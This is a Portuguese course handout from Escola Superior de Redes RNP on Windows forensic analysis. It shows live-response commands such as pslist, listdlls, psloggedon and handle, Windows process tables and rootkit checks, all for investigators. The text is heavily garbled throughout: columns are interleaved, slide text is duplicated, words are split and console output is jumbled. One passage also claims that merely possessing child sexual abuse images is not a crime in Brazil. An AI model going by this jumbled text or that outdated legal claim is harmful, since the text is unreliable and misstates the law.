A ferramenta reg.exe permite fazer consultas a chaves de registro.

Análise forense em Windows


132
Escola Superior de Redes RNP

Podemos verificar acima que o sistema sincroniza o


Primeiras ações
ç
horário com um servidor NTP remoto, o que é uma
boa garantia de que o horário da máquina está cor-
H d
Hora do sistema
i t
reto. Isto facilita a correlação de eventos com fontes
D:\IR\xp>nettime\\computador externas como logs de roteadores e firewalls.
Currenttimeat\\computadoris1/27/20089:51PM
Thecommandcompletedsuccessfully.
Thecommandcompletedsuccessfully
O comando net.exe também permite fazer uma
D:\IR\xp>nettime\\computador/QUERYSNTP
ThecurrentSNTPvalueis:200.144.121.33,0x1
série de consultas importantes ao sistema. Vamos
The command completed successfully. conhecer mais características deste comando nas
sessões seguintes, mas vale a pena estudar melhor
o funcionamento dessa ferramenta.

Conclusões
Conclusões

Na próxima sessão vamos conhecer mais sobre as


Vimos nessa sessão
Vi ã os conceitos
it bá
básicos
i dde análise
áli
forense em sistemas Windows ferramentas que permitem coletar informações sobre
Algumas características do NTFS diferem das que vimos processos e conexões de rede, e sobre as estrutu-
até agora em ambientes Linux ras próprias do Windows, como registro, usuários e
Conhecemos as ferramentas do Live CD do Helix e políticas de segurança.
vimos como utilizar algumas
g delas p
para coletar
evidências em uma máquina comprometida

Análise forense – Sessão de aprendizagem 8


8
Sessão de aprendizagem 8
Análise forense em Windows
Roteiro de atividades

Tópicos e conceitos

\\Iniciando a análise forense em sistemas Windows.

Competências técnicas desenvolvidas

\\O aluno aprenderá a iniciar uma investigação de um sistema Windows e a


utilizar as ferramentas disponíveis para o trabalho.

Outras competências desenvolvidas

\\Capacidade de investigação e pesquisa do aluno.

Tempo previsto para as atividades

\\90 minutos
134
Escola Superior de Redes RNP

Atividade 1 – Coleta de evidências em Windows

Execute os passos descritos na sessão em sua estação e documente todos


os passos tomados, criando fichas de evidência do mesmo modo como foi
feito nas sessões anteriores. Você deve coletar informações sobre o
ambiente onde está sua máquina, documentar as informações externas,
capturar a tela (pode usar um print screen ou ferramenta de captura),
coletar imagem da memória e informações sobre o horário da máquina.
Não é necessário coletar uma cópia da imagem de disco, mas colocar em
seu relatório os comandos necessários para realizar essa operação.

Atividade 2 – Classificando as ferramentas

Use o tempo destinado a este exercício para estudar as ferramentas


presentes no pacote de ferramentas. Prepare um relatório descrevendo a
função de cada ferramenta. Quais ferramentas podem ser utilizadas para
coletar uma imagem da memória RAM da máquina? Quais ferramentas
permitem fazer cópias do disco? Qual delas você acha que é a ferramenta
mais completa, no sentido de coletar mais informações úteis ao investigador?

Atividade 3 – Busca de outras ferramentas para Windows

Pesquise na internet outras ferramentas para realizar análise forense em


sistemas Windows. Faça um relatório descrevendo as ferramentas que
encontrar e as características que as tornam interessantes. Dica: comece
com os links de Forensic Windows Tools e Forensics Tools fornecidos na
bibliografia.

Análise forense – Sessão de aprendizagem 8


9
Sessão de aprendizagem 9
Análise forense avançada em Windows

Sumário da sessão

Análise forense avançada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

Coleta de informações básicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136

Processos em execução no sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140

Bibliotecas do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145

Informações sobre arquivos abertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147

Serviços em execução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148

Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151

Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153

Atividade 1 – Levantando informações do sistema . . . . . . . . . . . . . . . . . . . . . 154

Atividade 2 – Identificando processos comprometidos . . . . . . . . . . . . . . . . . . 154

Atividade 3 – Novas ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154


136
Escola Superior de Redes RNP

Análise forense avançada em Windows


Análise forense avançada em Windows

A realização de um processo de análise forense em


Windows tem características que tornam mais
complexa a coleta de evidências um sistema Windows não difere conceitualmente do
Mesmo assim, as técnicas vistas até agora continuam processo realizado no ambiente Linux. A principal
valendo: diferença é que em um sistema Windows as informa-
Informações básicas sobre o sistema ções mais desejadas são voláteis e só podem ser
Identificação e coleta de processos em execução
obtidas no sistema vivo (live system ou on-line), o
Informações sobre bibliotecas em uso
que exige a realização de inúmeros procedimentos
Serviços
de coleta de dados ao vivo.

Devido ao fato de sistemas Windows terem grande


presença em ambientes de desktop de empresas
e usuários caseiros, o tipo de incidente que em geral envolve uma máquina com
este sistema é um pouco diferente do que normalmente acontece com sistemas
Linux, que costumam ser utilizados em servidores. Por este motivo, as principais
razões para a realização de um procedimento de análise forense em um sistema
Windows são as seguintes:

\\O sistema está infectado por algum vírus ou código malicioso;

\\O sistema foi comprometido;

\\Caso envolvendo direitos autorais;

\\Pornografia;

\\Fraude;

\\Presença de trojan ou backdoor instalado;

\\Utilização do sistema de forma maliciosa.

Coleta de informações básicas


Coleta de informações básicas

Assim como na coleta de evidências em Linux, preci-


Informações sobre o sistema
samos saber inicialmente há quanto tempo o sistema
D:\IR\xp> uptime está ligado, para restringir o período possível para
18:38:20 up 3:58, 0 users, load average: 0.00, 0.00, 0.00
a ocorrência do incidente. Para isso, vamos utilizar
D:\IR\xp> hostname uma ferramenta disponível no kit de ferramentas do
Computador
Live CD do Helix. Abra um prompt de comandos,
D:\IR\xp> whoami
faça as mudanças nas variáveis de ambiente para
Usuario
executar somente os binários do kit (cmdenv.bat) e
execute os comandos mostrados.

O comando uptime.exe permite saber há quanto


tempo o sistema está on-line. Podemos verificar também que ele indica o número
de usuários que estão acessando o sistema, valor que nem sempre bate com
a realidade, pois ele busca essa informação em um local diferente de onde o
Windows normalmente a mantém.

Análise forense – Sessão de aprendizagem 9


137

O próximo passo serve para identificar corretamente a máquina investigada. Muitas


vezes, um incidente em uma empresa pode envolver uma máquina que não deveria
fazer parte da rede. Por exemplo, se o invasor for um funcionário que resolveu
levar seu notebook ou computador pessoal para a sua empresa, nela não vai haver
registro sobre a máquina. Precisamos descobrir como ela se identifica na rede,
pois em ambiente Windows esse nome é transmitido pela rede pelo protocolo
NETBIOS e pode ser importante saber essa informação ao examinar os logs.

A seguir, precisamos coletar informações sobre os usuários da máquina, já que


essa informação não é mantida em um arquivo como o passwd no Linux. O
primeiro passo é identificar o usuário que está logado na máquina atualmente,
medida necessária caso o investigador encontre a máquina logada ao chegar para
a investigação inicial.

Uma informação importante sobre o usuário logado,


Coleta de informações básicas
que é uma característica do Windows, é o chamado
SID (Secure Identification).
Informações sobre o sistema

D:\IR\xp> psgetsid Este identificador é um número único que identifica


SID for \\COMPUTADOR:
S-1-5-21-4042056708-2335835806-3410500470
o usuário ou a máquina na rede e é normalmente uti-
lizado em diversos recursos do sistema para indicar
D:\IR\xp> psgetsid Usuario
SID for COMPUTADOR\Usuario: quem tem permissões para acessar tais recursos.
S-1-5-21-4042056708-2335835806-3410500470-1006

Estes identificadores são importantes ao analisar


diversas evidências no Windows que tenham relação
com permissões e segurança. Podemos determinar
um usuário específico para descobrir o SID.

Observamos no slide que além das contas de


Coleta de informações básicas
sistema, somente o usuário que já vimos está
conectado localmente no computador. Além disso, o
Informações sobre o sistema
D:\IR\xp> psloggedon comando do slide indica conexões remotas através
de compartilhamentos na máquina, o que pode ser
Users logged on locally:
Error: could not retrieve logon time uma informação importante se o incidente envolver
NT AUTHORITY\LOCAL SERVICE
Error: could not retrieve logon time
roubos de propriedade intelectual ou pedofilia.
NT AUTHORITY\NETWORK SERVICE
29/1/2008 14:40:10 COMPUTADOR\Usuario
Error: could not retrieve logon time Neste último caso, é importante notar que se um
NT AUTHORITY\SYSTEM usuário mantém arquivos de pornografia infantil em
No one is logged on via resource shares.
sua máquina, teoricamente não está cometendo
crime, pois de acordo com o código da criança e do
adolescente, o crime consiste em transmitir ou tor-
nar pública a informação. Entretanto, se o computador onde estão armazenadas
as fotos tiver um compartilhamento de diretório, pode ser considerada a disponibi-
lização pública, e consequentemente a caracterização criminal.

Análise forense avançada em Windows


138
Escola Superior de Redes RNP

O comando logonsessions.exe permite descobrir


Coleta de informações básicas
todas as sessões de login existentes e os usuários
associados a elas. Vemos no slide um login de usuá-
Informações sobre o sistema
D:\IR\xp> logonsessions rio no console. O comando também exibe logins:
[2] Logon session 00000000:00018df7: \\Sem interatividade;
User name: COMPUTADOR\Usuario
Auth package: NTLM
Logon type: Interactive
\\De serviços ou processos do sistema;
Session: 0
Sid: S-1-5-21-4042056708-2335835806- \\Remotos.
3410500470-1006
Logon time: 29/1/2008 14:40:08
Logon server: COMPUTADOR
DNS Domain:
UPN:

D:\IR\xp> net users8


Coleta de informações básicas
User accounts for \\COMPUTADOR
__vmware_user__ Administrator ASPNET
Informações sobre o sistema curso Guest HelpAssistant
D:\IR\xp> net users Usuario SUPPORT_12312331
User accounts for \\COMPUTADOR
__vmware_user__ Administrator ASPNET
curso Guest HelpAssistant
Usuario SUPPORT_12312331 D:\IR\xp> userdump \\COMPUTADOR usuario8

D:\IR\xp> userdump \\COMPUTADOR usuario Querying Controller \\COMPUTADOR


Querying Controller \\COMPUTADOR Privs: Admin Privs
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs OperatorPrivs: No explicit OP Privs
Password age: Tue Jan 29 21:43:33 2008 Password age: Tue Jan 29 21:43:33 2008
LastLogon: Fri Jul 20 19:40:29 2007
LastLogoff: Thu Jan 01 00:00:00 1970 LastLogon: Fri Jul 20 19:40:29 2007
Acct Expires: Never
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never

O comando acima permite listar os usuários cadastrados na máquina. Este


comando já foi visto na última sessão.

O comando net.exe faz parte do pacote básico do Windows, e tem diversos parâ-
metros que podem ser usados para interagir com o sistema.

Podemos usar a ferramenta UserDump.exe para coletar informações sobre todos


os usuários do sistema.

Veja as informações sobre o último login do usuário e sobre a validade da senha,


que podem ter importância na investigação.

Análise forense – Sessão de aprendizagem 9


139

D:\IR\xp> ntfsinfo c:8


Coleta de informações básicas
Allocation Size
----------------
Informações sobre o sistema Bytes per sector : 512
Bytes per cluster : 4096
D:\IR\xp> ntfsinfo c:
Allocation Size Bytes per MFT record : 1024
----------------
Bytes per sector : 512 Clusters per MFT record: 0
Bytes per cluster : 4096
Bytes per MFT record : 1024 MFT Information
Clusters per MFT record:
MFT Information
0
---------------
--------------- MFT size : 176 MB (0% of drive)
MFT size : 176 MB (0% of drive)
MFT start cluster : 6 MFT start cluster : 6
MFT zone clusters : 5656576 - 5676928
MFT zone size : 79 MB (0% of drive) MFT zone clusters : 5656576 - 5676928
MFT mirror start : 629425
Meta-Data files MFT zone size : 79 MB (0% of drive)
---------------
MFT mirror start : 629425
Meta-Data files
---------------

Uma informação que pode ser importante para a análise posterior da imagem de
disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algu-
mas informações básicas sobre o disco.

Veja no slide informações importantes sobre a estrutura de arquivos no disco


especificado no comando: confira especialmente as informações sobre o MFT.

D:\IR\xp> mem8
Coleta de informações básicas
655360 bytes total conventional memory
655360 bytes available to MS-DOS
Informações sobre o sistema 598160 largest executable program size
1048576 bytes total contiguous extended memory
D:\IR\xp> mem
655360 bytes total conventional memory 0 bytes available contiguous extended memory
655360 bytes available to MS-DOS 941056 bytes available XMS memory
598160 largest executable program size MS-DOS resident in High Memory Area
1048576 bytes total contiguous extended memory
0 bytes available contiguous extended memory
941056 bytes available XMS memory
MS-DOS resident in High Memory Area O comando mem.exe fornece informações sobre a
memória do sistema.

D:\IR\xp> psinfo8
Coleta de informações básicas
System information for \\COMPUTADOR:
Uptime: 0 days 4 hours 56 minutes 29 seconds
Informações sobre o sistema Kernel version: Microsoft Windows XP, Uniprocessor
Free
D:\IR\xp> psinfo
System information for \\COMPUTADOR: Product type: Professional
Uptime:
Kernel version:
0 days 4 hours 56 minutes 29 seconds
Microsoft Windows XP, Uniprocessor Free
Product version: 5.1
Product type: Professional Service pack: 2
Product version: 5.1
Service pack: 2 Kernel build number: 2600
Kernel build number: 2600
Registered organization: Registered organization:
Registered owner: Usuario
Install date: 18/10/2005, 19:19:17 Registered owner: Usuario
Activation status:
IE version:
Error reading status
7.0000
Install date: 18/10/2005, 19:19:17
System root: C:\WINDOWS Activation status: Error reading status
Physical memory: 1022 MB
IE version: 7.0000
System root: C:\WINDOWS
Physical memory: 1022 MB

Análise forense avançada em Windows


140
Escola Superior de Redes RNP

Lembrando dos tipos de incidentes que normalmente acontecem em um sistema


Windows, percebemos que grande parte deles pode acontecer em sistemas que
não são atualizados constantemente. Por isso, é importante descobrir se o sistema
que estamos analisando está atualizado e devidamente autenticado.

O comando psinfo.exe permite descobrir este tipo de informação.

Temos no slide diversas informações importantes, como a versão do Windows ins-


talada, informações sobre o registro e ativação do sistema, a duração do tempo
em que o sistema está ligado, a versão do Internet Explorer, a data de instalação
do Windows, a memória do sistema e informações sobre o hardware.

Observe que a informação sobre ativação nem sempre pode ser lida como vemos
no comando acima. No exemplo, o comando foi executado em uma máquina devi-
damente ativada e autenticada.

Processos em execução no sistema


Processos em execução no sistema

D:\IR\xp> ps -a -W8
D:\IR\xp> ps -a -W PID PPID PGID WINPID TTY UID STIME COMMAND
PID PPID PGID WINPID TTY UID STIME COMMAND
4 0 0 4 ? 0 16:24:48 *** 4 0 0 4 ? 0 16:24:48 *** unknown ***
unknown ***
944 0 0
\SystemRoot\System32\smss.exe
944 ? 0 14:39:48 944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss.
1068 0 0 1068 ? 0 14:39:58 exe
\??\C:\WINDOWS\system32\winlogon.exe
1112 0 0 1112 ? 0 14:39:58 1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\
C:\WINDOWS\system32\services.exe
1124 0 0 1124 ? 0 14:39:58
winlogon.exe
C:\WINDOWS\system32\lsass.exe
1272 0 0 1272 ? 0 14:39:59
1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv
C:\WINDOWS\system32\Ati2evxx.exe ices.exe
1284 0 0 1284 ? 0 14:39:59
C:\WINDOWS\system32\svchost.exe 1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas

s.exe
1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2
evxx.exe
1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch
ost.exe

Outra informação importante a coletar em um sistema invadido é referente aos


processos executados pelo sistema. Muitas vezes, é possível ainda encontrar em
execução o programa do vírus ou worm que invadiu a máquina, ou algum servidor
executado por um invasor para prover acesso a material ilícito.

Uma das características que consideramos imprescindíveis em nossas ferramentas


é a capacidade de obterem o mesmo resultado sob as mesmas condições iniciais.
Isto é muito importante na lista de processos, pois diversos fatores podem influir
no resultado das ferramentas, e muitos deles podem indicar um comprometimento
maior do sistema.

O comando ps.exe, disponível no kit de ferramentas, permite listar os processos


em execução no sistema. Uma informação importante, que não é dada pelo
Gerenciador de Tarefas, por exemplo, é o caminho completo do executável. Esta
informação é importante quando for necessário diferenciar entre o nome de um
processo válido do sistema, como por exemplo svchost.exe.

Análise forense – Sessão de aprendizagem 9


141

Alguns vírus e ferramentas hacker utilizam este mesmo


Processos em execução no sistema
nome para confundir os usuários, já que o Gerenciador de
Tarefas não diferencia um arquivo pelo nome completo.
Necessidade de descobrir o caminho completo do
executável Quanto a isso, é importante comentar que muitos vírus e
Programas maliciosos se disfarçam como executáveis ferramentas hacker utilizam esta técnica para tentarem
válidos se passar despercebidos pelo usuário. Muitos vírus cos-
Se você observar os processos msmgs.exe ou tumam utilizar os nomes scvhost.exe ou msmgs.exe. É
scvhost.exe, vai identificá-los como maliciosos?
É importante conhecer os processos mais comuns em
possível perceber algum problema com estes processos?
sistemas Windows
Por conta disso, é importante o investigador conhecer
bem os processos comuns do Windows. A correta
identificação de um processo válido pode depender de
alguns fatores, como conhecimento prévio sobre servi-
ços oferecidos no sistema, serviços básicos da plataforma Windows e conhecimentos
sobre processos que podem ser inseridos no sistema por aplicações válidas.

O principal problema é diferenciar entre o processo legítimo svchost.exe e o processo


falso scvhost.exe.

\\Alg.exe – Application Layer Gateway Service,


Processos em execução no sistema serviço relacionado com o firewall do Windows
(pode ser terminado pelo Gerenciador de tarefas).
Processo Descrição Pode ser terminado pelo
Gerenciador de tarefas?
Alg.exe Application Layer Gateway Service, serviço relacionado com o firewall do
Windows.
Sim
\\csrss.exe – client/server run-time subsystem (não
pode ser terminado pelo Gerenciador de tarefas).
csrss.exe client/server run-time subsystem Não
explorer.exe Interface do usuário. Sim
internet.exe Executado na inicialização, permite a troca de configuração do teclado e aparece Sim
como ícone no System Tray.

\\explorer.exe – Interface do usuário (pode ser


lsass.exe Local security authentication server Não
mstask.exe Task scheduler service Não

terminado pelo Gerenciador de tarefas).


smss.exe Session manager subsystem, responsável por iniciar a sessão do usuário. Não
spoolsv.exe Spooler service, responsável pela fila de impressão. Não
svchost.exe Generic Service Process, atua como host para outros processos executados por Não
dlls; normalmente existe em mais de uma instância. É utilizado também para

\\internet.exe – Executado na inicialização, permite


executar serviços de rede.
services.exe Services Control Manager, responsável por iniciar e terminar serviços do Não
sistema.
system
system idle
System kernel-mode threads
Processo que contabiliza o processamento disponível no sistema, normalmente
Não
Não
a troca de configuração do teclado e aparece
como ícone no System Tray (pode ser terminado
process ocupando a maioria do processamento disponível (99%).
taskmgr.exe Gerenciador de tarefas Sim
winlogon.exe Responsável pelo processo de login/logout do usuário. Não

pelo Gerenciador de tarefas).

\\lsass.exe – Local security authentication server (não


pode ser terminado pelo Gerenciador de tarefas).

\\mstask.exe – Task scheduler service (não pode ser terminado pelo Gerenciador
de tarefas).

\\smss.exe – Session manager subsystem, responsável por iniciar a sessão do


usuário (não pode ser terminado pelo Gerenciador de tarefas).

\\spoolsv.exe – Spooler service, responsável pela fila de impressão (não pode


ser terminado pelo Gerenciador de tarefas).

\\svchost.exe – Generic Service Process, atua como host para outros


processos executados por dlls; normalmente existe em mais de uma
instância. É utilizado também para executar serviços de rede (não pode ser
terminado pelo Gerenciador de tarefas).

\\services.exe – Services Control Manager, responsável por iniciar e terminar


serviços do sistema (não pode ser terminado pelo Gerenciador de tarefas).

Análise forense avançada em Windows


142
Escola Superior de Redes RNP

\\System – System kernel-mode threads (não pode ser terminado pelo


Gerenciador de tarefas).

\\system idle process – Processo que contabiliza o processamento disponível


no sistema, normalmente ocupando a maioria do processamento disponível
(99%) (não pode ser terminado pelo Gerenciador de tarefas).

\\taskmgr.exe – Gerenciador de tarefas (pode ser terminado pelo Gerenciador


de tarefas).

\\winlogon.exe – Responsável pelo processo de login/logout do usuário (não


pode ser terminado pelo Gerenciador de tarefas).

O site processlibrary.com permite pesquisar um nome de arquivo e saber se ele é


usado por algum vírus.

D:\IR\xp> pslist8
Processos em execução no sistema
Process information for COMPUTADOR:
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000
D:\IR\xp> pslist
Process information for COMPUTADOR: System 4 8 68 645 0 0:01:50.234 0:00:00.000
Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000 smss 944 11 3 21 168 0:00:00.015 6:18:01.531
System 4 8 68 645 0 0:01:50.234 0:00:00.000
smss 944 11 3 21 168 0:00:00.015 6:18:01.531 csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
services
lsass
1112
1124
9 15 337
9 21 461
1996
5868
0:00:10.515
0:00:05.187
6:17:52.046
6:17:52.031
services 1112 9 15 337 1996 0:00:10.515 6:17:52.046
ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218 lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
... ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
...

Este comando tem diversos parâmetros interessantes para listar a utilização de


memória de cada processo ou os threads que cada um mantém. Vale a pena estudar
melhor este comando.

Análise forense – Sessão de aprendizagem 9


143

D:\IR\xp> ..\diamondcs\cmdline.exe8
Processos em execução no sistema
DiamondCS Commandline Retrieval Tool for Windows NT
4/2K/XP
D:\IR\xp> ..\diamondcs\cmdline.exe
DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable t
944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory o read memory from PID 944
from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe 1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072,512 Windows=On SubSystemType=Windows C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind
ServerDll=basesrv,1 ows SharedSection=1024,3072,512 Windows=On SubSyste
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
mType=Windows ServerDll=basesrv,1 ServerDll=winsrv:
MaxRequestThreads=16 UserServerDllInitialization,3 ServerDll=winsrv:ConS
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe erverDllInitialization,2 ProfileControl=Off MaxReque
1112 - C:\WINDOWS\system32\services.exe stThreads=16
C:\WINDOWS\system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe 1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo
1272 - C:\WINDOWS\system32\Ati2evxx.exe n.exe
1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\
system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys
tem32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe

Uma característica desta ferramenta é mostrar os parâmetros passados na linha


de comando de cada processo.

Uma característica importante desta ferramenta é a possibilidade de visualizar


diversas propriedades importantes sobre cada processo, incluindo threads, cone-
xões TCP/IP abertas pelo processo, informações de desempenho, strings dentro
do executável, entre outras informações.

Análise forense avançada em Windows


144
Escola Superior de Redes RNP

Vimos até agora uma série de ferramentas diferentes


Processos em execução no sistema
para listagem de processos ativos, e a importância de
comparar o resultado destas ferramentas para identifi-
É necessário comparar diversas ferramentas, pois
alguns programas maliciosos escondem informações car incoerências e possíveis comprometimentos.
do Windows
Rootkits usam essa técnica A razão disso é que em muitos casos, os vírus e
Inconsistências entre duas ferramentas podem ser a ferramentas hacker utilizam tecnologias de rootkit
indicação de um rootkit
É sempre útil ter disponível uma ferramenta anti-rootkit
para esconder informações do usuário e do sistema
operacional.

Ao realizar a análise forense em uma imagem de um


disco Windows, é possível encontrar informações
que poderiam estar escondidas pelo rootkit, mas no
caso de processos é necessário verificar essa informação na máquina on-line.

Portanto, é importante o investigador ter sempre disponível uma boa ferramenta


anti-rootkit. No kit de ferramentas encontramos o Rootkit Revealer.

Este programa examina a máquina e procura por inconsistências na forma como


o Windows reporta informações sobre processos e arquivos, utilizando diversas
técnicas. Muitas vezes, isto é suficiente para identificar a presença de um rootkit.

No exemplo do slide, observamos diversas inconsistências detectadas pelo


programa. A maioria delas é representada por falsos positivos, mas repare nas
últimas 4 linhas do log: elas mostram chaves de registro escondidas da API do
Windows por alguma ferramenta, o que pode indicar a presença do rootkit.

No caso abaixo, no entanto, são mostradas as chaves de registro referentes ao


programa Daemon Tools, um simulador de drive de CD utilizado para montar ima-
gens de CD como se fossem drives. Esta ferramenta usa tecnologias rootkit para
realizar estas operações, mas não é maliciosa.

Análise forense – Sessão de aprendizagem 9


145

Bibliotecas do sistema
Bibliotecas do sistema

Windows utiliza bibliotecas compartilhadas, conhe-


Windows utiliza bibliotecas compartilhadas,
conhecidas como Dinamic Link Library (DLL) cidas como Dinamic Link Library (DLL). Elas normal-
Normalmente ficam armazenadas no diretório mente ficam armazenadas no diretório C:\WINDOWS\
C:\WINDOWS\SYSTEM32 SYSTEM32, mas os processos podem retirá-las do
Pode ser um problema quando bibliotecas diretório corrente se elas estiverem nele.
comprometidas são utilizadas para modificar a forma
de funcionamento de um processo, comprometendo o
sistema Pode ser um problema quando bibliotecas compro-
Um exemplo desse tipo de ataque é a injeção de código metidas são utilizadas para modificar a forma de
no Internet Explorer, através da exploração de alguma
falha do programa
funcionamento de um processo, comprometendo o
sistema. Um exemplo desse tipo de ataque é a inje-
ção de código no Internet Explorer, através da explo-
ração de alguma falha do programa. Com isso, o hacker consegue comprometer
o sistema sem modificar ou executar nenhum binário estranho.

D:\IR\xp> listdlls wordpad8


Bibliotecas do sistema
wordpad.exe pid: 676
Command line: “C:\Program Files\Windows NT\Accessor
ies\wordpad.exe”
D:\IR\xp> listdlls wordpad
wordpad.exe pid: 676 Base Size Version Path
Command line: "C:\Program Files\Windows NT\Accessories\wordpad.exe"
Base Size Version Path 0x01000000 0x37000 5.01.2600.2180 C:\Program Files\
0x01000000 0x37000 5.01.2600.2180 C:\Program Files\Windows Windows NT\Accessories\wordpad.exe
NT\Accessories\wordpad.exe
0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system32\ntdll.dll 0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system
0x7c800000 0xf5000
0x5f800000 0xf2000
5.01.2600.3119 C:\WINDOWS\system32\kernel32.dll
6.02.8071.0000 C:\WINDOWS\system32\MFC42u.DLL
32\ntdll.dll
0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system32\msvcrt.dll 0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system
0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system32\GDI32.dll
0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system32\USER32.dll
32\kernel32.dll

0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system
32\MFC42u.DLL
0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system
32\msvcrt.dll
0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system
32\GDI32.dll
0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system
32\USER32.dll

Se não for especificado um nome de processo, ele simplesmente lista todas as


DLLs de todos os processos em execução. Portanto, esta pode ser também uma
boa ferramenta para listar processos em execução.

D:\IR\xp> ..\winfingerprint\procinterrogate -pid 6768


Bibliotecas do sistema
ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum
@users.sourceforge.net
wordpad.exe (Process ID: 676)
D:\IR\xp> ..\winfingerprint\procinterrogate -pid 676
ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum@users.sourceforge.net Entry Point Base Size Module
wordpad.exe (Process ID: 676)
Entry Point Base Size Module 0x01019B4D 0x01000000 00037000 C:\Program Files\Wi
0x01019B4D 0x01000000 00037000 C:\Program Files\Windows ndows NT\Accessories\wordpad.exe
NT\Accessories\wordpad.exe
0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32\ntdll.dll 0x7C913156 0x7C900000 000B0000 C:\WINDOWS\system32
0x7C80B5AE
0x5F806A61
0x7C800000 000F5000
0x5F800000 000F2000
C:\WINDOWS\system32\kernel32.dll
C:\WINDOWS\system32\MFC42u.DLL
\ntdll.dll
0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32\msvcrt.dll 0x7C80B5AE 0x7C800000 000F5000 C:\WINDOWS\system32
0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32\GDI32.dll
0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll
\kernel32.dll

0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll 0x5F806A61 0x5F800000 000F2000 C:\WINDOWS\system32
\MFC42u.DLL
0x77C1F2A1 0x77C10000 00058000 C:\WINDOWS\system32
\msvcrt.dll
0x77F16597 0x77F10000 00047000 C:\WINDOWS\system32
\GDI32.dll

Análise forense avançada em Windows


146
Escola Superior de Redes RNP

0x7E42E966 0x7E410000 00090000 C:\WINDOWS\system32\USER32.dll


0x77DD70D4 0x77DD0000 0009B000 C:\WINDOWS\system32\ADVAPI32.dll

Uma coisa que o investigador deve estar atento ao examinar estes comandos são
bibliotecas localizadas em local que não seja padrão no sistema. Outra indicação
de que o sistema pode ter sido comprometido é a presença de bibliotecas com o
mesmo nome do sistema, mas com versões diferentes das outras bibliotecas padrão.

Além destas ferramentas, existe uma ferramenta gráfica no kit de ferramentas que
permite listar as DLLs que são automaticamente injetadas em todos os processos
executados. Esta ferramenta chama-se InjectedDLL.exe

Podemos inclusive listar mais informações sobre uma DLL clicando duas vezes
sobre ela, como no exemplo abaixo.

Análise forense – Sessão de aprendizagem 9


147

Informações sobre arquivos abertos


Informações sobre arquivos abertos

Arquivos abertos D:\IR\xp> handle -a -u wordpad8


csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpa
D:\IR\xp> handle -a -u wordpad d.exe(676): 1684
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 730: wordpad.exe(676): 1684
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpad.exe(676): 3428 csrss.exe pid: 1040 NT AUTHORITY\SYSTEM 8A0: wordpa
csrss.exe pid: 1040 NT AUTHORITY\SYSTEM AD0: wordpad.exe(676) d.exe(676): 3428
lsass.exe pid: 1124 NT AUTHORITY\SYSTEM 69C: wordpad.exe(676)
